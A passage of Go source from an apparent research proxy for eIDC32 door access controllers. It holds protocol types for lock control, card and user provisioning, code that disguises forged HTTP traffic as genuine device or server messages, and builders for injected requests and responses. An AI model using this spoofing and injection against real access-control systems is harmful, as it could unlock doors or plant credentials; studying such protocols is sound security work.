"/eidc/reflash" // GET; no body; stray newline 35 | ) 36 | 37 | const ( 38 | queryParamUsername = "username" 39 | queryParamPassword = "password" 40 | ) 41 | 42 | type lockstatus uint8 43 | 44 | const ( 45 | Unlocked lockstatus = iota 46 | Locked 47 | Normal 48 | ) 49 | 50 | type lockstatusString string 51 | 52 | const ( 53 | unlockedCmd lockstatusString = "Unlocked" 54 | lockedCmd lockstatusString = "Locked" 55 | normalCmd lockstatusString = "Normal" 56 | unknownCmd lockstatusString = "unknown" 57 | ) 58 | 59 | func (o lockstatus) String() string { 60 | switch o { 61 | case Unlocked: 62 | return string(unlockedCmd) 63 | case Locked: 64 | return string(lockedCmd) 65 | case Normal: 66 | return string(normalCmd) 67 | default: 68 | return string(unknownCmd) 69 | } 70 | } 71 | 72 | // Intelli-M response to EIDC's POST /eidc/connected 73 | type ConnectedResponse struct { 74 | ServerKey string `json:"serverKey"` 75 | Other interface{} `json:"-"` 76 | } 77 | 78 | // Intelli-M POST /eidc/setTime 79 | type SetTimeRequest struct { 80 | Time string `json:"time"` 81 | DstObservance string `json:"dstObservence"` 82 | DstStart SetTimeRequestDSTData `json:"dstStart"` 83 | DstEnd SetTimeRequestDSTData `json:"dstEnd"` 84 | Other interface{} `json:"-"` 85 | } 86 | 87 | type SetTimeRequestDSTData struct { 88 | Month int `json:"month"` 89 | WeekInMonth int `json:"weekInMonth"` 90 | DayOfWeek int `json:"dayOfWeek"` 91 | Hour int `json:"hour"` 92 | Minute int `json:"minute"` 93 | Other interface{} `json:"-"` 94 | } 95 | 96 | // Intelli-M POST /eidc/setwebuser 97 | type SetWebUserRequest struct { 98 | Password string `json:"Password"` 99 | User string `json:"User"` 100 | Other interface{} `json:"-"` 101 | } 102 | 103 | // Intelli-M GET /eidc/getPointStatus 104 | type GetPointStatusRequest struct { 105 | PointIds []int `json:"pointIds"` 106 | Other interface{} `json:"-"` 107 | } 108 | 109 | // Intelli-M POST /eidc/eventack 110 | type EventAckRequest struct { 111 | EventIds []int `json:"eventIds"` 112 | Other interface{} `json:"-"` 113 | } 114 | 115 | // Intelli-M POST /eidc/door/lockstatus 116 | type Door0x2fLockStatusRequest struct { 117 | Status string `json:"status"` 118 | Duration int `json:"duration"` 119 | Other interface{} `json:"-"` 120 | } 121 | 122 | // Intelli-M POST /eidc/addPoints 123 | type AddPointsRequest struct { 124 | NewPoints []NewPoint `json:"Points"` 125 | Other interface{} 126 | } 127 | 128 | type NewPoint struct { 129 | Type string `json:"Type"` 130 | Index int `json:"Index"` 131 | RecordInfo int `json:"RecordInfo"` 132 | DeviceID int `json:"DeviceId"` 133 | PointId int `json:"PointId"` 134 | PointRefNo int `json:"PointRefNo"` 135 | PointDriver int `json:"PointDriver"` 136 | IPointFlag int `json:"IPointFlag"` 137 | IPointStatus int `json:"IPointStatus"` 138 | IPointTick int `json:"IPointTick"` 139 | } 140 | 141 | // Intelli-M POST /eidc/addSchedules 142 | type AddSchedulesRequest struct { 143 | Schedules []Schedule `json:"Schedules"` 144 | } 145 | 146 | type Schedule struct { 147 | // todo: We've never seen one of these yet 148 | } 149 | 150 | // Intelli-M POST /eidc/addPrivileges 151 | type AddPrivilegesRequest struct { 152 | StartIndex int `json:"StartIndex"` 153 | Privileges []NewPrivilege `json:"Privileges"` 154 | Other interface{} 155 | } 156 | 157 | type NewPrivilege struct { 158 | ScheduleIDs []int `json:"ScheduleIds"` 159 | FloorMask []int `json:"FloorMask"` 160 | Description string `json:"Description"` 161 | } 162 | 163 | // Intelli-M POST /eidc/addCards 164 | type AddCardsRequest struct { 165 | CardHolders []CardHolder `json:"CardHolders"` 166 | Other interface{} 167 | } 168 | 169 | type CardHolder struct { 170 | PinCode string `json:"PinCode"` 171 | SiteCode int `json:"SiteCode"` 172 | CardCode int `json:"CardCode"` 173 | StrCardCode string `json:"StrCardCode"` 174 | ActivationDate string `json:"ActivationDate"` 175 | ExpirationDate string `json:"ExpirationDate"` 176 | InGroup int `json:"InGroup"` 177 | OutGroup int `json:"OutGroup"` 178 | FirstIn int `json:"FirstIn"` 179 | ID int `json:"Id"` 180 | Description string `json:"Description"` 181 | } 182 | 183 | // Intelli-M POST /eidc/setConfigKey 184 | type SetConfigKeyRequest struct { 185 | ConfigurationKey string `json:"ConfigurationKey"` 186 | } 187 | 188 | // Intelli-M POST /eidc/setDeviceID 189 | type SetDeviceIDRequest struct { 190 | DeviceID int `json:"deviceID"` 191 | } 192 | 193 | // Intelli-M POST /eidc/setoutbound 194 | type SetOutboundRequest struct { 195 | SiteKey string `json:"siteKey"` 196 | PrimaryHostAddress string `json:"primaryHostAddress"` 197 | PrimaryPort int `json:"primaryPort"` 198 | SecondaryHostAddress string `json:"secondaryHostAddress"` 199 | SecondaryPort int `json:"secondaryPort"` 200 | PrimarySsl int `json:"primarySsl"` 201 | SecondarySsl int `json:"secondarySsl"` 202 | RetryInterval int `json:"retryInterval"` 203 | MaxRandomRetryInterval int `json:"maxRandomRetryInterval"` 204 | Other interface{} `json:"-"` 205 | } 206 | 207 | func (o Message) getSouthboundMsgType() MsgType { 208 | switch { 209 | case o.Request != nil: 210 | return o.getSouthboundRequestType() 211 | case o.Response != nil: 212 | return o.getSouthboundResponseType() 213 | } 214 | return MsgTypeUnknown 215 | } 216 | 217 | func (o Message) getSouthboundRequestType() MsgType { 218 | switch o.Request.Method { 219 | case http.MethodGet: 220 | switch o.Request.URL.Path { 221 | case heartbeatRequestURI: 222 | return MsgTypeHeartbeatRequest 223 | case getOutboundRequestURI: 224 | return MsgTypeGetoutboundRequest 225 | case enableEventsRequestURI: 226 | return MsgTypeEnableEventsRequest 227 | case resetEventsRequestURI: 228 | return MsgTypeResetEventsRequest 229 | case clearPointsRequestURI: 230 | return MsgTypeClearPointsRequest 231 | case resetPointEngineRequestURI: 232 | return MsgTypeResetPointEngineRequest 233 | case clearFormatsRequestURI: 234 | return MsgTypeClearPointsRequest 235 | case clearSchedulesRequestURI: 236 | return MsgTypeClearSchedulesRequest 237 | case clearHolidaysRequestURI: 238 | return MsgTypeClearHolidaysRequest 239 | case clearPrivilegesRequestURI: 240 | return MsgTypeClearPrivilegesRequest 241 | case clearCardsRequestURI: 242 | return MsgTypeClearCardsRequest 243 | case reflashRequestURI: 244 | return MsgTypeReflashRequest 245 | default: 246 | return MsgTypeUnknown 247 | } 248 | case http.MethodPost: 249 | switch o.Request.URL.Path { 250 | case setTimeRequestURI: 251 | return MsgTypeSetTimeRequest 252 | case setWebUserRequestURI: 253 | return MsgTypeSetWebUserRequest 254 | case getPointStatusRequestURI: 255 | return MsgTypeGetPointStatusRequest 256 | case eventAckRequestURI: 257 | return MsgTypeEventAckRequest 258 | case doorLockStatusRequestURI: 259 | return MsgTypeDoor0x2fLockStatusRequest 260 | case setOutboundRequestURI: 261 | return MsgTypeSetOutboundRequest 262 | case addPointsRequestURI: 263 | return MsgTypeAddPointsRequest 264 | case addFormatsRequestURI: 265 | return MsgTypeAddFormatsRequest 266 | case addPrivilegesRequestURI: 267 | return MsgTypeAddPrivilegesRequest 268 | case addCardsRequestURI: 269 | return MsgTypeAddCardsRequest 270 | case setConfigKeyRequestURI: 271 | return MsgTypeSetConfigKeyRequest 272 | case setDeviceIDRequestURI: 273 | return MsgTypeSetDeviceIDRequest 274 | case addSchedulesRequestURI: 275 | return MsgTypeAddSchedulesRequest 276 | case downloadRequestURI: 277 | return MsgTypeDownloadRequest 278 | default: 279 | return MsgTypeUnknown 280 | } 281 | default: 282 | return MsgTypeUnknown 283 | } 284 | } 285 | 286 | func (o Message) getSouthboundResponseType() MsgType { 287 | if o.Response.Status != ok200 { 288 | return MsgTypeUnknown 289 | } 290 | if o.contentType() != ApplicationJSON { 291 | return MsgTypeUnknown 292 | } 293 | 294 | var result ConnectedResponse 295 | err := json.Unmarshal(o.Body, &result) 296 | if err != nil { 297 | return MsgTypeUnknown 298 | } 299 | if result.ServerKey == "" { 300 | return MsgTypeUnknown 301 | } 302 | 303 | return MsgTypeConnectedResponse 304 | } 305 | 306 | func (o Message) ParseConnectedResponse() (ConnectedResponse, error) { 307 | var result ConnectedResponse 308 | err := json.Unmarshal(o.Body, &result) 309 | return result, err 310 | } 311 | 312 | func (o Message) ParseSetOutboundRequest() (SetOutboundRequest, error) { 313 | var result SetOutboundRequest 314 | err := json.Unmarshal(o.Body, &result) 315 | return result, err 316 | } 317 | 318 | func (o Message) ParseSetTimeRequest() (SetTimeRequest, error) { 319 | var result SetTimeRequest 320 | err := json.Unmarshal(o.Body, &result) 321 | return result, err 322 | } 323 | 324 | func (o Message) ParseSetWebUserRequest() (SetWebUserRequest, error) { 325 | var result SetWebUserRequest 326 | err := json.Unmarshal(o.Body, &result) 327 | return result, err 328 | } 329 | 330 | func (o Message) ParseGetPointStatusRequest() (GetPointStatusRequest, error) { 331 | var result GetPointStatusRequest 332 | err := json.Unmarshal(o.Body, &result) 333 | return result, err 334 | } 335 | 336 | func (o Message) ParseEventAckRequest() (EventAckRequest, error) { 337 | var result EventAckRequest 338 | err := json.Unmarshal(o.Body, &result) 339 | return result, err 340 | } 341 | 342 | func (o Message) ParseDoor0x2fLockStatusRequest() (Door0x2fLockStatusRequest, error) { 343 | var result Door0x2fLockStatusRequest 344 | err := json.Unmarshal(o.Body, &result) 345 | return result, err 346 | } 347 | 348 | func (o Message) ParseDownloadRequest() []byte { 349 | return o.Body 350 | } 351 | -------------------------------------------------------------------------------- /impersonate.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "errors" 7 | "fmt" 8 | "net/http" 9 | "sort" 10 | "strings" 11 | ) 12 | 13 | var ( 14 | eidc32RequestHeaderOrder = []string{ 15 | "POST ", 16 | "Host: ", 17 | "Content-Type: ", 18 | "Content-Length: ", 19 | "ServerKey:", 20 | } 21 | 22 | eidc32ResponseHeaderOrder = []string{ 23 | "HTTP", 24 | serverHeaderName + ":", 25 | "Content-type:", 26 | "Content-Length:", 27 | cacheControlHeaderName + ":", 28 | } 29 | 30 | serverRequestHeaderOrder = []string{ 31 | "POST", 32 | "GET", 33 | "Host:", 34 | "User-Agent:", 35 | "Content-Type:", 36 | "Content-Length:", 37 | } 38 | 39 | serverResponseHeaderOrder = []string{ 40 | "HTTP", 41 | "Content-Type:", 42 | "Content-Length:", 43 | } 44 | 45 | serverQueryParamOrder = []string{ 46 | "username=", 47 | "password=", 48 | "seq=", 49 | } 50 | 51 | eidc32RequestHeaderRewrite = map[string]string{ 52 | "Serverkey:": "ServerKey:", 53 | } 54 | 55 | eidc32ResponseHeaderRewrite = map[string]string{ 56 | "Content-Type:": "Content-type:", 57 | "Content-Length:": "Content-Length: ", 58 | } 59 | 60 | serverRequestHeaderRewrite = map[string]string{ 61 | //"Serverkey:":"ServerKey:", 62 | } 63 | 64 | serverResponseHeaderRewrite = map[string]string{ 65 | //"Content-Type:":"Content-type:", 66 | //"Content-Length:":"Content-Length:", 67 | } 68 | ) 69 | 70 | type eidc32RequestHeaderSort []string 71 | 72 | func (s eidc32RequestHeaderSort) Len() int { 73 | return len(s) 74 | } 75 | func (s eidc32RequestHeaderSort) Swap(i, j int) { 76 | s[i], s[j] = s[j], s[i] 77 | } 78 | func (s eidc32RequestHeaderSort) Less(i, j int) bool { 79 | for _, m := range eidc32RequestHeaderOrder { 80 | if strings.HasPrefix(strings.ToLower(s[i]), strings.ToLower(m)) { 81 | return true 82 | } 83 | if strings.HasPrefix(strings.ToLower(s[j]), strings.ToLower(m)) { 84 | return false 85 | } 86 | } 87 | return true 88 | } 89 | 90 | type eidc32ResponseHeaderSort []string 91 | 92 | func (s eidc32ResponseHeaderSort) Len() int { 93 | return len(s) 94 | } 95 | func (s eidc32ResponseHeaderSort) Swap(i, j int) { 96 | s[i], s[j] = s[j], s[i] 97 | } 98 | func (s eidc32ResponseHeaderSort) Less(i, j int) bool { 99 | for _, m := range eidc32ResponseHeaderOrder { 100 | if strings.HasPrefix(strings.ToLower(s[i]), strings.ToLower(m)) { 101 | return true 102 | } 103 | if strings.HasPrefix(strings.ToLower(s[j]), strings.ToLower(m)) { 104 | return false 105 | } 106 | } 107 | return true 108 | } 109 | 110 | type serverRequestHeaderSort []string 111 | 112 | func (s serverRequestHeaderSort) Len() int { 113 | return len(s) 114 | } 115 | func (s serverRequestHeaderSort) Swap(i, j int) { 116 | s[i], s[j] = s[j], s[i] 117 | } 118 | func (s serverRequestHeaderSort) Less(i, j int) bool { 119 | for _, m := range serverRequestHeaderOrder { 120 | if strings.HasPrefix(strings.ToLower(s[i]), strings.ToLower(m)) { 121 | return true 122 | } 123 | if strings.HasPrefix(strings.ToLower(s[j]), strings.ToLower(m)) { 124 | return false 125 | } 126 | } 127 | return true 128 | } 129 | 130 | type serverResponseHeaderSort []string 131 | 132 | func (s serverResponseHeaderSort) Len() int { 133 | return len(s) 134 | } 135 | func (s serverResponseHeaderSort) Swap(i, j int) { 136 | s[i], s[j] = s[j], s[i] 137 | } 138 | func (s serverResponseHeaderSort) Less(i, j int) bool { 139 | for _, m := range serverResponseHeaderOrder { 140 | if strings.HasPrefix(strings.ToLower(s[i]), strings.ToLower(m)) { 141 | return true 142 | } 143 | if strings.HasPrefix(strings.ToLower(s[j]), strings.ToLower(m)) { 144 | return false 145 | } 146 | } 147 | return true 148 | } 149 | 150 | type serverQueryParamSort []string 151 | 152 | func (s serverQueryParamSort) Len() int { 153 | return len(s) 154 | } 155 | func (s serverQueryParamSort) Swap(i, j int) { 156 | s[i], s[j] = s[j], s[i] 157 | } 158 | func (s serverQueryParamSort) Less(i, j int) bool { 159 | for _, m := range serverQueryParamOrder { 160 | if strings.HasPrefix(strings.ToLower(s[i]), strings.ToLower(m)) { 161 | return true 162 | } 163 | if strings.HasPrefix(strings.ToLower(s[j]), strings.ToLower(m)) { 164 | return false 165 | } 166 | } 167 | return true 168 | } 169 | 170 | // impersonate makes small changes to HTTP messages in order to make them 171 | // indistinguishable from those created by the software we're emulating. 172 | func impersonate(in []byte, dir Direction) ([]byte, error) { 173 | switch { 174 | case isRequest(in) && dir == Northbound: 175 | return impersonateEIDC32Request(in) 176 | case isRequest(in) && dir == Southbound: 177 | return impersonateServerRequest(in) 178 | case isResponse(in) && dir == Northbound: 179 | return impersonateEIDC32Response(in) 180 | case isResponse(in) && dir == Southbound: 181 | return impersonateServerResponse(in) 182 | default: 183 | return in, errors.New("impersonate() called with neither request nor response") 184 | } 185 | } 186 | 187 | // impersonateEIDC32Request takes an HTTP request (bytes), fixes it up to 188 | // look like a real eIDC32 request. 189 | func impersonateEIDC32Request(in []byte) ([]byte, error) { 190 | // find the delimiter between header and body 191 | headerEnd := bytes.Index(in, crlfCRLFBytes) + 2 192 | if headerEnd <= 0 { 193 | return nil, errors.New("error parsing eidc32 request slice") 194 | } 195 | 196 | // parse header text into a slice of strings, fix case, preserve newlines 197 | var h []string 198 | s := bufio.NewScanner(bytes.NewReader(in[0:headerEnd])) 199 | for s.Scan() { 200 | h = append(h, doEIDC32RequestHeaderRewrite(s.Text())+"\r\n") 201 | } 202 | 203 | // sort header slice like an eIDC32 would do 204 | sort.Sort(eidc32RequestHeaderSort(h)) 205 | 206 | out := bytes.Buffer{} 207 | for i := range h { 208 | out.Write([]byte(h[i])) 209 | } 210 | out.Write(in[headerEnd:]) 211 | return out.Bytes(), nil 212 | } 213 | 214 | // doEIDC32RequestHeaderRewrite replaces header lines in the input string with 215 | // lines from the eidc32RequestHeaderRewrite map. It's here to fix case 216 | // anomalies, whitespace, etc... 217 | func doEIDC32RequestHeaderRewrite(in string) string { 218 | for k, v := range eidc32RequestHeaderRewrite { 219 | if strings.HasPrefix(in, k) { 220 | return v + in[len(k):] 221 | } 222 | } 223 | return in 224 | } 225 | 226 | // impersonateEIDC32Response takes an HTTP response (bytes), fixes it up to 227 | // look like a real eIDC32 request. 228 | func impersonateEIDC32Response(in []byte) ([]byte, error) { 229 | // find the delimiter between header and body 230 | headerEnd := bytes.Index(in, crlfCRLFBytes) + 2 231 | if headerEnd <= 0 { 232 | return nil, errors.New("error parsing eidc32 response slice") 233 | } 234 | 235 | // parse header text into a slice of strings, fix case, preserve newlines 236 | var h []string 237 | s := bufio.NewScanner(bytes.NewReader(in[0:headerEnd])) 238 | for s.Scan() { 239 | // eidc32 server doesn't send "Connection" header 240 | if strings.HasPrefix(s.Text(), "Connection:") { 241 | continue 242 | } 243 | h = append(h, doEIDC32ResponseHeaderRewrite(s.Text())+"\r\n") 244 | } 245 | 246 | // sort header slice like an server would do 247 | sort.Sort(eidc32ResponseHeaderSort(h)) 248 | 249 | out := bytes.Buffer{} 250 | for i := range h { 251 | out.Write([]byte(h[i])) 252 | } 253 | out.Write(in[headerEnd:]) 254 | return out.Bytes(), nil 255 | } 256 | 257 | // doEIDC32ResponseHeaderRewrite replaces header lines in the input string with 258 | // lines from the eidc32ResponseHeaderRewrite map. It's here to fix case 259 | // anomalies, whitespace, etc... 260 | func doEIDC32ResponseHeaderRewrite(in string) string { 261 | for k, v := range eidc32ResponseHeaderRewrite { 262 | if strings.HasPrefix(in, k) { 263 | return v + in[len(k):] 264 | } 265 | } 266 | return in 267 | } 268 | 269 | // impersonateServerRequest takes an HTTP request (bytes), fixes it up to 270 | // look like a real Infinias application server request. 271 | func impersonateServerRequest(in []byte) ([]byte, error) { 272 | // find the delimiter between header and body 273 | headerEnd := bytes.Index(in, crlfCRLFBytes) + 2 274 | if headerEnd <= 0 { 275 | return nil, errors.New("error parsing server request slice") 276 | } 277 | 278 | // parse header text into a slice of strings, fix case, preserve newlines 279 | var h []string 280 | s := bufio.NewScanner(bytes.NewReader(in[0:headerEnd])) 281 | for s.Scan() { 282 | h = append(h, doServerRequestHeaderRewrite(s.Text())+"\r\n") 283 | } 284 | 285 | if len(h) < 1 { 286 | return nil, fmt.Errorf("impossible request has only %d lines", len(h)) 287 | } 288 | 289 | // sort the URL query parameters 290 | h[0] = doServerQueryParamSort(h[0]) 291 | 292 | // sort header slice like a server would do 293 | sort.Sort(serverRequestHeaderSort(h)) 294 | 295 | // write the fixed-up header to a new []byte 296 | out := bytes.Buffer{} 297 | for i := range h { 298 | out.Write([]byte(h[i])) 299 | } 300 | 301 | // Empty (zero Content-Length) GET requests from the server 302 | // (eIDCListener) have a bogus extra newline. Add it. 303 | req, _ := http.ReadRequest(bufio.NewReader(bytes.NewReader(in))) 304 | switch { 305 | case req.Method != http.MethodGet: 306 | break 307 | case req.UserAgent() != UAeIDCListener: 308 | break 309 | case req.ContentLength != 0: 310 | break 311 | default: 312 | out.Write([]byte{13, 10}) 313 | } 314 | 315 | // write the remaining input data to the new output slice. 316 | out.Write(in[headerEnd:]) 317 | 318 | return out.Bytes(), nil 319 | } 320 | 321 | // doServerRequestHeaderRewrite replaces header lines in the input string with 322 | // lines from the serverRequestHeaderRewrite map. It's here to fix case 323 | // anomalies, whitespace, etc... 324 | func doServerRequestHeaderRewrite(in string) string { 325 | for k, v := range serverRequestHeaderRewrite { 326 | if strings.HasPrefix(in, k) { 327 | return v + in[len(k):] 328 | } 329 | } 330 | 331 | return in 332 | } 333 | 334 | // impersonateServerResponse takes an HTTP request (bytes), fixes it up to 335 | // look like a real Infinias application server response. 336 | func impersonateServerResponse(in []byte) ([]byte, error) { 337 | // find the delimiter between header and body 338 | headerEnd := bytes.Index(in, crlfCRLFBytes) + 2 339 | if headerEnd <= 0 { 340 | return nil, errors.New("error parsing server response slice") 341 | } 342 | 343 | // parse header text into a slice of strings, fix case, preserve newlines 344 | var h []string 345 | s := bufio.NewScanner(bytes.NewReader(in[0:headerEnd])) 346 | for s.Scan() { 347 | h = append(h, doServerResponseHeaderRewrite(s.Text())+"\r\n") 348 | } 349 | 350 | // sort header slice like an eIDC32 would do 351 | sort.Sort(serverResponseHeaderSort(h)) 352 | 353 | out := bytes.Buffer{} 354 | for i := range h { 355 | out.Write([]byte(h[i])) 356 | } 357 | out.Write(in[headerEnd:]) 358 | return out.Bytes(), nil 359 | } 360 | 361 | // doServerResponseHeaderRewrite replaces header lines in the input string with 362 | // lines from the eidc32ResponseHeaderRewrite map. It's here to fix case 363 | // anomalies, whitespace, etc... 364 | func doServerResponseHeaderRewrite(in string) string { 365 | for k, v := range serverResponseHeaderRewrite { 366 | if strings.HasPrefix(in, k) { 367 | return v + in[len(k):] 368 | } 369 | } 370 | return in 371 | } 372 | 373 | // doServerQueryParamSort takes the first line of an HTTP request like: 374 | // "GET /index.html?param1=val1¶m2=val2#thing HTTP1.1" 375 | // and returns it with the parameters sorted according to the order 376 | // expressed by the serverQueryParamOrder slice. it's... not very 377 | // pretty. 378 | func doServerQueryParamSort(in string) string { 379 | // in: "GET /index.html?param1=val1¶m2=val2#thing HTTP/1.1" 380 | // part[0]: "GET" 381 | // part1a: "/index.html?" 382 | // part1b: "param1=val1¶m2=val2" 383 | // part1c: "#thing" 384 | // part[2]: "HTTP/1.1" 385 | 386 | lineParts := strings.Split(in, " ") 387 | if len(lineParts) < 2 { 388 | return in 389 | } 390 | 391 | var part1a, part1b, part1c string 392 | // split string 'in' into components before (part1a) and 393 | // after (part1c) the query parameters (part1b) 394 | i := strings.IndexAny(lineParts[1], "?") 395 | if i < 0 { 396 | return in 397 | } 398 | j := strings.IndexAny(lineParts[1], "#") 399 | if j >= 0 { 400 | part1a, part1b, part1c = lineParts[1][:i+1], lineParts[1][i+1:j], lineParts[1][j:] 401 | } else { 402 | part1a, part1b = lineParts[1][:i+1], lineParts[1][i+1:] 403 | } 404 | 405 | // sort the parameters in part1b 406 | params := serverQueryParamSort(strings.Split(part1b, "&")) 407 | sort.Sort(params) 408 | part1b = strings.Join(params, "&") 409 | 410 | lineParts[1] = part1a + part1b + part1c 411 | 412 | return strings.Join(lineParts, " ") 413 | } 414 | -------------------------------------------------------------------------------- /inject.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "fmt" 7 | "io" 8 | "io/ioutil" 9 | "net/http" 10 | "net/url" 11 | "sync" 12 | ) 13 | 14 | const ( 15 | user = "username" 16 | pass = "password" 17 | methodHttp = "http" 18 | host = "192.168.6.40" 19 | eidcListner = "eIDCListener" 20 | ) 21 | 22 | func NewHeartbeatMsg(username string, password string) (*Message, error) { 23 | values := url.Values{} 24 | values.Set(user, username) 25 | values.Set(pass, password) 26 | values.Set(serverRequestSequenceParam, "0") 27 | heartbeatUrl := url.URL{ 28 | Scheme: methodHttp, 29 | Host: host, 30 | Path: heartbeatRequestURI, 31 | RawQuery: values.Encode(), 32 | } 33 | req, err := http.NewRequest(http.MethodGet, heartbeatUrl.String(), nil) 34 | if err != nil { 35 | return nil, err 36 | } 37 | 38 | req.Header.Set(ua, eidcListner) 39 | msg := &Message{ 40 | direction: Southbound, 41 | Request: req, 42 | lock: &sync.Mutex{}, 43 | } 44 | return msg, nil 45 | } 46 | 47 | // IntellimHTTPRequestBytes returns a []byte representing the raw HTTP request 48 | // to send to an IntelliM instance. 49 | func IntellimHTTPRequestBytes(requestData *IntellimHTTPRequestData) ([]byte, error) { 50 | eidcMessage, err := IntellimHTTPRequestMsg(requestData) 51 | if err != nil { 52 | return nil, fmt.Errorf("failed to generate eidc message - %w", err) 53 | } 54 | 55 | return eidcMessage.Marshal() 56 | } 57 | 58 | // IntellimHTTPRequestMsg returns a *Message representing the HTTP request 59 | // to send to an IntelliM instance. 60 | func IntellimHTTPRequestMsg(requestData *IntellimHTTPRequestData) (*Message, error) { 61 | req, err := IntellimHTTPRequest(requestData) 62 | if err != nil { 63 | return nil, fmt.Errorf("failed to generate http request - %w", err) 64 | } 65 | 66 | // TODO: Awful hack to ensure Message.Body is non-nil, 67 | // and to ensure that req.Body is not depleted. 68 | buffer := bytes.NewBuffer(nil) 69 | tee := io.TeeReader(req.Body, buffer) 70 | raw, err := ioutil.ReadAll(tee) 71 | if err != nil { 72 | return nil, fmt.Errorf("failed to read request body for crazy hack - %w", err) 73 | } 74 | req.Body = ioutil.NopCloser(buffer) 75 | 76 | return &Message{ 77 | Request: req, 78 | Body: raw, 79 | lock: &sync.Mutex{}, 80 | }, nil 81 | } 82 | 83 | // IntellimHTTPRequest returns a *http.Request to send to an IntelliM instance. 84 | func IntellimHTTPRequest(requestData *IntellimHTTPRequestData) (*http.Request, error) { 85 | if requestData.URL == nil { 86 | return nil, fmt.Errorf("url cannot be nil") 87 | } 88 | 89 | if len(requestData.Method) == 0 { 90 | return nil, fmt.Errorf("method cannot be empty ") 91 | } 92 | 93 | if len(requestData.ServerKey) == 0 { 94 | return nil, fmt.Errorf("server key cannot be empty") 95 | } 96 | 97 | var bodyReader io.Reader 98 | if requestData.Body != nil { 99 | jsonBodyRaw, ok := requestData.Body.([]byte) 100 | if !ok { 101 | var err error 102 | jsonBodyRaw, err = json.Marshal(requestData.Body) 103 | if err != nil { 104 | return nil, fmt.Errorf("failed to marshal body into json - %w", err) 105 | } 106 | } 107 | bodyReader = bytes.NewReader(jsonBodyRaw) 108 | } 109 | 110 | finalURL := requestData.URL 111 | if len(requestData.SubPath) > 0 { 112 | var err error 113 | finalURL, err = finalURL.Parse(requestData.SubPath) 114 | if err != nil { 115 | return nil, fmt.Errorf("failed to parse provided subpath of '%s' - %w", requestData.SubPath, err) 116 | } 117 | } 118 | 119 | req, err := http.NewRequest(requestData.Method, finalURL.String(), bodyReader) 120 | if err != nil { 121 | return nil, fmt.Errorf("failed to generate http request - %w", err) 122 | } 123 | 124 | req.Header.Set(serverKeyHeaderName, requestData.ServerKey) 125 | if bodyReader != nil { 126 | req.Header.Add(contentTypeHeaderName, ApplicationJSON) 127 | } 128 | 129 | for k, vs := range requestData.Headers { 130 | req.Header.Del(k) 131 | for _, v := range vs { 132 | req.Header.Add(k, v) 133 | } 134 | } 135 | 136 | return req, nil 137 | } 138 | 139 | // IntellimHTTPRequestData is the data that will be used to construct 140 | // a HTTP request to send to an IntelliM instance. 141 | type IntellimHTTPRequestData struct { 142 | // URL is the *url.URL of the IntelliM instance. 143 | URL *url.URL 144 | 145 | // Headers are optional HTTP headers to apply to the request's 146 | // headers. If this field contains a header already present in 147 | // the new request's headers, the request's header value is 148 | // replaced with the value from this field. 149 | Headers http.Header 150 | 151 | // SubPath is an optional path to append to the URL in 152 | // the HTTP request. 153 | SubPath string 154 | 155 | // Method is the HTTP method to use in the HTTP request. 156 | Method string 157 | 158 | // ServerKey is the server key to use in the HTTP header. 159 | ServerKey string 160 | 161 | // Body is the optional body to append to the HTTP message. 162 | // This can be a data structure with JSON tagged fields, 163 | // or a []byte. 164 | Body interface{} 165 | } 166 | 167 | // EIDCHTTPResponseBytes returns a []byte representing the raw HTTP response 168 | // to send to an IntelliM instance. The message data is manipulated to appear 169 | // like a real eIDC32's response using the "impersonate*" functions. 170 | func EIDCHTTPResponseBytes(responseData *EIDCHTTPResponseData) ([]byte, error) { 171 | eidcMessage, err := EIDCHTTPResponseMsg(responseData) 172 | if err != nil { 173 | return nil, fmt.Errorf("failed to generate eidc message - %w", err) 174 | } 175 | 176 | raw, err := eidcMessage.Marshal() 177 | if err != nil { 178 | return nil, fmt.Errorf("failed to marshal message to bytes - %w", err) 179 | } 180 | 181 | if eidcMessage.Request != nil { 182 | return impersonateEIDC32Request(raw) 183 | } 184 | 185 | return impersonateEIDC32Response(raw) 186 | } 187 | 188 | // EIDCHTTPResponseMsg returns a *Message representing the HTTP response 189 | // to send to an IntelliM instance. 190 | func EIDCHTTPResponseMsg(responseData *EIDCHTTPResponseData) (*Message, error) { 191 | resp, err := EIDCHTTPResponse(responseData) 192 | if err != nil { 193 | return nil, fmt.Errorf("failed to generate http response - %w", err) 194 | } 195 | 196 | // TODO: Awful hack to ensure Message.Body is non-nil, 197 | // and to ensure that req.Body is not depleted. 198 | buffer := bytes.NewBuffer(nil) 199 | tee := io.TeeReader(resp.Body, buffer) 200 | raw, err := ioutil.ReadAll(tee) 201 | if err != nil { 202 | return nil, fmt.Errorf("failed to read response body for crazy hack - %w", err) 203 | } 204 | resp.Body = ioutil.NopCloser(buffer) 205 | 206 | return &Message{ 207 | Response: resp, 208 | Body: raw, 209 | lock: &sync.Mutex{}, 210 | }, nil 211 | } 212 | 213 | // EIDCHTTPResponse returns a *http.Response to send to an IntelliM instance. 214 | func EIDCHTTPResponse(responseData *EIDCHTTPResponseData) (*http.Response, error) { 215 | if responseData.StatusCode == 0 { 216 | return nil, fmt.Errorf("http response status code cannot be 0") 217 | } 218 | 219 | var jsonBodyRaw []byte 220 | if responseData.Body != nil { 221 | var ok bool 222 | jsonBodyRaw, ok = responseData.Body.([]byte) 223 | if !ok { 224 | var err error 225 | jsonBodyRaw, err = json.Marshal(responseData.Body) 226 | if err != nil { 227 | return nil, fmt.Errorf("failed to marshal body into json - %w", err) 228 | } 229 | } 230 | } 231 | if responseData.WrapperBody != nil { 232 | var err error 233 | if len(jsonBodyRaw) == 0 { 234 | jsonBodyRaw, err = json.Marshal(&responseData.WrapperBody) 235 | } else { 236 | jsonBodyRaw, err = json.Marshal(responseData.WrapperBody.AddBody(jsonBodyRaw)) 237 | } 238 | if err != nil { 239 | return nil, fmt.Errorf("failed to marshal wrapper body into json - %w", err) 240 | } 241 | } 242 | 243 | resp := &http.Response{ 244 | Status: http.StatusText(responseData.StatusCode), 245 | StatusCode: responseData.StatusCode, 246 | Proto: http10Proto, 247 | ProtoMajor: 1, 248 | ProtoMinor: 0, 249 | Header: make(http.Header), 250 | } 251 | 252 | resp.Header.Add(cacheControlHeaderName, noCache) 253 | resp.Header.Add(serverHeaderName, UAeIDCWebServer) 254 | 255 | if len(jsonBodyRaw) > 0 { 256 | resp.ContentLength = int64(len(jsonBodyRaw)) 257 | 